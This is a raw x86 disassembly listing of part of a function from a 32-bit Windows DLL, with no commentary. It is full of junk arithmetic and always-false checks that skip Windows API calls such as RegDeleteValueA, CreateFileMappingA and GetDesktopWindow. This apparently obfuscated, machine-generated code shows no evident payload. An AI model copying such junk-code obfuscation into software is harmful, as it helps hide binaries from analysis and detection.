mov dword [ebp - 0x3c], 0xfffffffc
pop esi
cmp dword [ebp - 0x3c], esi
je 0x1000c64d
xor eax, eax
mov dword [ebp - 0x10], 0xd4aa41a8
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xfffffff7
jg 0x1000c641
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1000c5c2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1260], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1000c5aa
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000c5e4
push 0xa09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
push 2
pop edx
mov dword [ebp - 0x1258], edx
mov eax, dword [ebp - 0x3c]
cmp eax, edx
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, eax
sete dl
sub edx, 0x26de0d61
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp dword [ebp - 0x28], edx
jne 0x1000c623
cmp dword [ebp - 0x48], eax
je 0x1000c623
mov eax, ebx
mov ecx, 0xfe874d4a
cmp ecx, eax
push 0
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff7
pop eax
jle 0x1000c59b
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jne 0x1000c580
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1000c668
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x21c], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1000c657
push 2
pop esi
push esi
lea ecx, [ebp - 0x4c8]
call fcn.10028d1f
mov dword [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x10], 0x16d21b18
mov dword [ebp - 0x40], 0x1d4b082b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000c6b5
push dword [ebp - 0x20]
lea ecx, [ebp - 0x4c8]
call fcn.10028dbd
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000c69b
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000c6db
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x844], 0x3245f1db
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x1000c6bd
xor ebx, ebx
xor eax, eax
inc ebx
push 3
mov dword [ebp - 0x20], eax
pop ecx
jmp 0x1000c6f4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x13ac], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1000c6e3
push ebx
lea ecx, [ebp - 0x4c8]
call fcn.10028dbd
mov dword [eax], 0xffffffe5
jmp 0x1000c7ab
mov dword [ebp - 0x1c], 0xd37ad43
xor eax, eax
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x44], 0xa61bf079
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1000c798
mov dword [ebp - 0x44], 0xfffffffa
push 3
mov dword [ebp - 0x44], 0x8593f9be
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1000c756
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x13c4], 0x9a2b441a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1000c745
mov eax, dword [ebp - 0x844]
xor ecx, ecx
test eax, eax
push ebx
setg cl
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x4c8]
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax]
jl 0x1000c789
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1000c78b
mov eax, ebx
jmp 0x1000c78b
xor eax, eax
mov dword [ebp - 0x40], eax
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1000c72f
cmp dword [ebp - 0x10], eax
jne 0x1000c7c0
push ebx
lea ecx, [ebp - 0x4c8]
call fcn.10028dbd
inc dword [eax]
push ebx
lea ecx, [ebp - 0x4c8]
call fcn.10028dbd
cmp dword [eax], 8
jl 0x1000c710
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c8]
call fcn.10028da1
xor eax, eax
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x3c], eax
push esi
call fcn.10028d1f
mov dword [ebp - 4], 7
mov dword [ebp - 0x28], 0xb2f67ab6
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x69097d93
mov dword [ebp - 0x18], 0x8a4198fe
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x1000c82a
push dword [ebp - 0x34]
lea ecx, [ebp - 0x468]
call fcn.10028dbd
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x1000c80c
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1000c84d
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xc4], 0x18158fb5
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1000c832
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1000c951
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, 0x2c512dc6
setle cl
xor ebx, ebx
cmp ecx, 0xfffffff8
lea ecx, [ebp - 0x468]
setle bl
xor eax, eax
push eax
neg ebx
call fcn.10028dbd
mov dword [eax], ebx
xor eax, eax
cmp ebx, 0xf5aee0cd
setne al
xor edx, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, 0x1a812c00
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0xfffffff7
setne al
xor ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setge dl
sub edx, 0x84ab
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setge dl
xor ebx, ebx
cmp eax, edx
setge bl
sub ebx, 0xa9e1a0e1
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
mov dword [ebp - 0xc4], ebx
mov eax, dword [ebp - 0x3c]
cmp ebx, eax
setne cl
xor ebx, ebx
mov dword [ebp - 0x2c], ecx
xor eax, eax
inc ebx
cmp dword [ebp - 0x2c], eax
je 0x1000c911
push ebx
lea ecx, [ebp - 0x468]
call fcn.10028dbd
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x3c]
jg 0x1000c91c
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setl dl
or ecx, 0xffffffff
sub ecx, edx
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0xa381e168
ja 0x1000c954
xor eax, eax
jmp 0x1000c956
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x18], eax
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000c96d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor eax, eax
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1000cabf
push 3
pop esi
mov dword [ebp - 0x30], 0x7c508211
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x10], ebx
push esi
call fcn.10028d1f
xor eax, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x10], eax
jmp 0x1000c9b4
push dword [ebp - 0x10]
lea ecx, [ebp - 0x668]
call fcn.10028dbd
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000c99d
mov eax, dword [ebp - 0xc4]
mov ecx, 0x9c4d3557
cmp ecx, eax
lea ecx, [ebp - 0x668]
sbb eax, eax
neg eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp ecx, ebx
mov esi, eax
setle dl
xor eax, eax
cmp edx, 0x5453
setne al
xor ecx, ecx
test eax, eax
sets cl
xor eax, eax
mov dword [esi], ecx
lea ecx, [ebp - 0x668]
push eax
call fcn.10028dbd
xor edx, edx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xc4]
mov esi, dword [ebp - 0x30]
lea ecx, [ebp - 0x468]
setg dl
xor ebx, ebx
cmp edx, eax
setg bl
xor eax, eax
push eax
call fcn.10028dbd
mov dword [eax], esi
xor eax, eax
cmp esi, ebx
je 0x1000ca69
cmp dword [ebp - 0x10], eax
jne 0x1000ca69
lea ecx, [eax + 1]
jmp 0x1000ca6b
mov ecx, eax
xor eax, eax
cmp ecx, 0xfffffff9
setg al
add eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x18]
add eax, 0x437f
imul eax, eax, 0x9070
cmp eax, dword [ebp - 0x30]
jle 0x1000cb5e
xor eax, eax
mov dword [ebp - 0x48], 0xe108d8c4
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000caa8
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1000cbc6
lea ecx, [ebp - 0x668]
call fcn.10028da1
xor ebx, ebx
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x468]
call fcn.10028da1
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000cdf2
push 4
pop esi
push esi
lea ecx, [ebp - 0x318]
call fcn.10028d1f
mov dword [ebp - 4], 9
lea ecx, [ebp - 0xba0]
mov dword [ebp - 0x30], 0xaa32b1ce
push esi
call fcn.10028d1f
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x1000cb2d
push dword [ebp - 0x34]
lea ecx, [ebp - 0x318]
call fcn.10028dbd
mov dword [eax], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x1000cb13
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x1000cb53
push dword [ebp - 0x34]
lea ecx, [ebp - 0xba0]
call fcn.10028dbd
mov dword [eax], 5
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x1000cb35
xor eax, eax
push 3
mov dword [ebp - 0x30], eax
pop esi
jmp 0x1000cdb0
mov dword [ebp - 0x28], 0x49d4
xor eax, eax
mov dword [ebp - 0x48], 0x296c032b
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000cb90
push eax
push 0x1814
push 0x12eb
push 0x1bc6
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000cbbb
cmp dword [ebp - 0x2c], eax
jne 0x1000cbb2
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x668]
xor eax, eax
inc eax
push eax
call fcn.10028dbd
and dword [eax], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
lea ecx, [ebp - 0x468]
call fcn.10028dbd
xor ebx, ebx
lea ecx, [ebp - 0x468]
inc ebx
push ebx
mov dword [eax], ebx
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x668]
setg dl
mov dword [ebp - 0x2c], edx
mov byte [ebp - 4], 7
call fcn.10028da1
dec dword [ebp - 0x1c]
jns 0x1000c979
jmp 0x1000cabf
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], 0xcaad9015
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x2c], eax
jl 0x1000cdaa
xor eax, eax
xor ebx, ebx
inc eax
mov dword [ebp - 0x44], 0xf609d70c
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x10], 0xfffffffa
mov dword [ebp - 0x34], eax
push dword [ebp - 0x30]
call fcn.10028dbd
cmp dword [eax], ebx
jne 0x1000cda5
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x318]
call fcn.10028dbd
cmp dword [eax], ebx
jne 0x1000cddc
push dword [ebp - 0x30]
lea ecx, [ebp - 0x318]
call fcn.10028dbd
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x318]
call fcn.10028dbd
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x318]
call fcn.10028dbd
xor ecx, ecx
cmp dword [eax], 7
sete cl
xor eax, eax
cmp ecx, 4
setge al
cmp eax, 0x1a652065
jg 0x1000cddc
push 3
mov dword [ebp - 0x18], 0x919b17c0
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jl 0x1000cd97
mov dword [ebp - 0x48], 0x5746ac1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x1000cd8e
xor ebx, ebx
inc ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jg 0x1000cd85
mov dword [ebp - 0x44], 0xb4ee00b4
lea ecx, [ebp - 0xba0]
mov dword [ebp - 0x48], 0xf7d9fd59
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
push dword [ebp - 0x10]
call fcn.10028dbd
mov ecx, dword [ebp - 0x28]
sub ecx, 0xfffffffc
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [eax]
test ecx, ecx
je 0x1000cd56
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x318]
call fcn.10028dbd
mov ecx, dword [ebp - 0x34]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
je 0x1000cd56
mov eax, ebx
jmp 0x1000cd58
xor eax, eax
cmp eax, 5
push 3
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x86a0
pop ecx
setle al
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x1000ccf9
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1000ccea
dec dword [ebp - 0x1c]
jns 0x1000ccd4
xor eax, eax
xor ebx, ebx
inc eax
dec dword [ebp - 0x2c]
jns 0x1000cc33
push 3
xor eax, eax
pop esi
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x1000cc0d
lea ecx, [ebp - 0xba0]
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x318]
call fcn.10028da1
xor eax, eax
push eax
call edi
xor eax, eax
jmp 0x1000cdf5
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffc
inc eax
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x28], eax
jmp 0x1000cd9c
push 3
pop esi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0x6bde64f
mov dword [ebp - 0x10], eax
jmp 0x1000ce0f
mov eax, dword [ebp - 0x10]
inc ecx
mov dword [ebp + eax*4 - 0x6c], ecx
inc dword [ebp - 0x10]
xor eax, eax
xor ecx, ecx
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1000ce04
mov dword [ebp - 0x48], 7
xor ebx, ebx
mov eax, dword [ebp - 0x6c]
inc ebx
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
add eax, 0x3c044b15
cmp eax, ebx
mov eax, dword [ebp - 0x6c]
setle cl
imul eax, ecx
mov dword [ebp - 0x48], eax
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000ce6d
push 0xb0b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
xor eax, eax
push 2
mov dword [ebp - 0x3c], eax
pop edi
jmp 0x1000ea4e
movdqa xmm0, xmmword [0x1000a580]
lea eax, [ebp - 0x1070]
push eax
lea eax, [ebp - 0x1080]
push eax
lea ecx, [ebp - 0x1230]
movdqu xmmword [ebp - 0x1080], xmm0
call fcn.10028dcc
lea ecx, [ebp - 0x24b]
mov esi, eax
call fcn.1000b6ea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x25c]
push dword [esi]
call fcn.10028d7b
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x40], 0x356ec7e4
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x1000cef9
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x824], 0x90fc520e
xor eax, eax
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1000cede
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1000cf0f
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x6ac], 0xcf7d1649
inc dword [ebp - 0x34]
xor eax, eax
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1000cefe
push 3
pop eax
push eax
lea ecx, [ebp - 0x25c]
call fcn.10028dbd
xor ebx, ebx
inc ebx
cmp dword [eax], ebx
je 0x1000cf57
xor eax, eax
lea ecx, [ebp - 0x25c]
push eax
call fcn.10028dbd
cmp dword [eax], 0
je 0x1000cf57
xor eax, eax
lea ecx, [ebp - 0x25c]
push eax
call fcn.10028dbd
cmp dword [eax], 0
je 0x1000cf57
mov eax, ebx
jmp 0x1000cf59
xor eax, eax
mov dword [ebp - 0x824], eax
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0x40], eax
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x40]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x25c]
setl bl
xor eax, eax
push eax
call fcn.10028dbd
sub ebx, dword [eax]
jne 0x1000cfa2
push edi
lea ecx, [ebp - 0x25c]
call fcn.10028dbd
cmp dword [eax], ebx
jne 0x1000cfa2
xor eax, eax
mov esi, eax
jmp 0x1000cfa7
xor eax, eax
lea esi, [eax + 1]
push eax
lea ecx, [ebp - 0x25c]
call fcn.10028dbd
push 3
xor ebx, ebx
lea ecx, [ebp - 0x25c]
cmp esi, dword [eax]
pop esi
push esi
setg bl
call fcn.10028dbd
xor ecx, ecx
cmp dword [eax], ebx
setg cl
xor eax, eax
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x25c]
push eax
call fcn.10028dbd
mov edx, dword [ebp - 0x48]
xor ecx, ecx
push esi
cmp dword [eax], edx
setle cl
xor ebx, ebx
cmp ecx, 0x290c
lea ecx, [ebp - 0x25c]
setne bl
call fcn.10028dbd
mov eax, dword [eax]
add eax, ebx
je 0x1000d016
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1000d018
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x1000d01b
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x6ac], eax
lea ecx, [ebp - 0x25c]
or dword [ebp - 4], 0xffffffff
call fcn.10028da1
mov dword [ebp - 0x34], 0x7fa5c62e
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xa
jge 0x1000d0f5
push ebx
lea ecx, [ebp - 0x680]
call fcn.10028d1f
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000d08e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x680]
call fcn.10028dbd
mov dword [eax], 0x22124f84
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1000d06a
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x680]
call fcn.10028dbd
mov dword [eax], 9
jmp 0x1000d0c4
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000d0b6
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
push eax
lea ecx, [ebp - 0x680]
call fcn.10028dbd
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x680]
push eax
call fcn.10028dbd
cmp dword [eax], 8
jg 0x1000d0a2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x680]
call fcn.10028da1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xa
jl 0x1000d04d
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
jg 0x1000e600
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x48], 0x2891f433
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 5
je 0x1000d3a5
push edi
lea ecx, [ebp - 0xf8]
call fcn.10028d1f
xor eax, eax
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1000d157
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf8]
call fcn.10028dbd
mov dword [eax], 5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1000d139
xor eax, eax
push eax
lea ecx, [ebp - 0xf8]
call fcn.10028dbd
cmp dword [eax], 0
je 0x1000d174
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1000d176
lea ecx, [eax + 1]
jmp 0x1000d178
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
sub ecx, eax
je 0x1000d23e
push 4
lea ecx, [ebp - 0x4b0]
call fcn.10028d1f
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1000d1be
push dword [ebp - 0x10]
lea ecx, [ebp - 0x4b0]
call fcn.10028dbd
mov dword [eax], 0x66e58d02
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1000d19f
xor eax, eax
push eax
lea ecx, [ebp - 0xf8]
call fcn.10028dbd
xor ebx, ebx
lea ecx, [ebp - 0x4b0]
cmp dword [eax], ebx
jne 0x1000d38f
push edi
call fcn.10028dbd
mov dword [eax], ebx
jmp 0x1000d219
xor eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], eax
xor eax, eax
cmp dword [ebp - 0x10], eax
jl 0x1000d20b
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf8]
call fcn.10028dbd
cmp dword [eax], ebx
jne 0x1000d20b
dec dword [ebp - 0x10]
jns 0x1000d1f4
push edi
lea ecx, [ebp - 0x4b0]
call fcn.10028dbd
inc dword [eax]
push edi
lea ecx, [ebp - 0x4b0]
call fcn.10028dbd
cmp dword [eax], 0x14
je 0x1000d1e4
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0xd
call fcn.10028da1
jmp 0x1000d363
xor ecx, ecx
mov dword [ebp - 0x30], 0xfffffffa
inc ecx
xor eax, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jg 0x1000d365
mov dword [ebp - 0x40], 0x54e7f13b
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x48], 0xffffffff
mov esi, dword [ebp - 0x18]
push dword [ebp - 0x30]
neg esi
sbb esi, esi
neg esi
call fcn.10028dbd
xor ecx, ecx
cmp esi, 0x2a6f9a4d
setge cl
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xf8]
mov eax, dword [ebp - 0x18]
setg dl
imul eax, edx
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x40]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xf8]
setg bl
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp dword [eax], ecx
setle dl
cmp edx, ebx
jge 0x1000d2e0
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1000d2e0
mov edi, eax
jmp 0x1000d2e5
xor eax, eax
lea edi, [eax + 1]
push dword [ebp - 0x30]
lea ecx, [ebp - 0xf8]
call fcn.10028dbd
mov ecx, dword [ebp - 0x48]
xor edx, edx
cmp edi, ecx
mov esi, eax
setle dl
xor eax, eax
inc eax
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
cmp ecx, eax
lea ecx, [ebp - 0xf8]
setl dl
xor eax, eax
cmp dword [esi], edx
sete al
mov dword [ebp - 0x40], eax
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x40]
xor edx, edx
cmp ecx, 0xb52d
setge dl
dec edx
sub edx, dword [eax]
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x48], edx
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000d351
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
inc dword [ebp - 0x30]
xor eax, eax
inc eax
cmp dword [ebp - 0x30], eax
jle 0x1000d259
push 2
pop edi
xor eax, eax
push eax
lea ecx, [ebp - 0xf8]
call fcn.10028dbd
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf8]
call fcn.10028da1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 5
jne 0x1000d11c
jmp 0x1000d3a3
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf8]
call fcn.10028da1
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x324]
push edi
call fcn.10028d1f
xor ebx, ebx
mov dword [ebp - 4], 0xf
inc ebx
mov dword [ebp - 0x18], 5
push ebx
lea ecx, [ebp - 0xbb8]
call fcn.10028d1f
mov byte [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x10], 0xa165f5c9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1000d404
push dword [ebp - 0x20]
lea ecx, [ebp - 0x324]
call fcn.10028dbd
mov dword [eax], 0x6432a276
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1000d3e6
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000d42d
push dword [ebp - 0x20]
lea ecx, [ebp - 0xbb8]
call fcn.10028dbd
mov dword [eax], 0xd0e72ee7
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x1000d40c
xor eax, eax
mov dword [ebp - 0x20], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x20], eax
jge 0x1000d451
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x6b0], 0
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x1000d438
push eax
lea ecx, [ebp - 0x324]
call fcn.10028dbd
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x324]
xor edi, edi
inc edi
push edi
call fcn.10028dbd
mov esi, eax
lea ecx, [ebp - 0x324]
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [esi]
xor ebx, ebx
push edi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x324]
setg bl
call fcn.10028dbd
xor ecx, ecx
cmp dword [eax], edi
setge cl
xor eax, eax
imul ecx, ebx
test ecx, ecx
je 0x1000d59b
xor ebx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x18], eax
inc ebx
jmp 0x1000d590
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1000d4d8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x15c], 0xffffffff
inc dword [ebp - 0x1c]
